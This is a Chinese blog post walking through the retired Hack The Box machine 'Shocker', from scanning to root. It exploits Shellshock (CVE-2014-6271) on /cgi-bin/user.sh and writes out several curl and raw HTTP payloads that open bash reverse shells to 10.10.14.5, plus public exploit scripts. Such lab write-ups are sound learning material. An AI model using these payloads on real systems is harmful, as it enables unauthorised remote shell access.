HTB-靶机-Shocker

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.56

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令

autorecon 10.10.10.56 -o ./Shocker-autorecon

得到如下结果:

先访问80web应用看看

没看到啥东西,再看看上面扫描结果中的爆破目录信息

发现一个目录cgi-bin 尝试使用wfuzz进行爆破猜测可能存在的后缀

wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.56/cgi-bin/FUZZ.sh

得到一个uri地址/cgi-bin/user.sh 将此文件下载下来

看到此情景判断可能存在shellshock漏洞,漏洞详情:https://www.cvedetails.com/cve/CVE-2014-6271/

上面还是可以使用nmap扫描看看,命令如下:

nmap -sV -p 80 --script=http-shellshock.nse --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56

确认上述存在shellshock ,那么就可以开始利用其漏洞拿shell,详细的利用方式如下:

复制代码
利用方式:
下面方式都可以正常利用,在user-agent头也可以

curl -H 'Cookie: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.5/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh
curl -H 'Cookie: () { :;}; echo; /bin/sh -i >& /dev/tcp/10.10.14.5/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh
curl -H 'Cookie: () { :;}; /bin/sh -i >& /dev/tcp/10.10.14.5/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh
curl -H 'Cookie: () { :;};  /bin/bash -i >& /dev/tcp/10.10.14.5/8833 0>&1' http://10.10.10.56/cgi-bin/user.sh
curl -A '() { :; }; /bin/bash -i > /dev/tcp/10.10.14.5/8833 0<&1 2>&1' http://10.10.10.56/cgi-bin/user.sh
上面执行的时候需要本地监听端口


通过burpsuite提交请求也可以
GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
User-Agent: () { :;};  /bin/bash -i >& /dev/tcp/10.10.14.5/8833 0>&1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close

上面执行的时候需要本地监听端口

直接通过exploit拿shell
https://www.exploit-db.com/exploits/34900
python 34900.py  payload=reverse rhost=10.10.10.56 lhost=10.10.14.5 lport=9966 pages=/cgi-bin/user.sh

第二种自定义的exploit
https://github.com/nullarmor/hackthebox-exploits/blob/master/shocker/exploit.py
python nullarmor-exploit.py --rhost 10.10.10.56 --lhost 10.10.14.5 --lport 8899

第三种自定义的exploit
https://github.com/nccgroup/shocker
python shocker.py -H 10.10.10.56 --command "/bin/bash -i > /dev/tcp/10.10.14.5/8833 0<&1 2>&1" -c /cgi-bin/user.sh
上面执行的时候需要本地监听端口
复制代码

成功反弹shell

这里提权很简单,每次我都会习惯执行下sudo -l ,这里是发现可以直接通过perl执行sudo权限拿到root权限

posted @   皇帽讲绿帽带法技巧  阅读(434)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示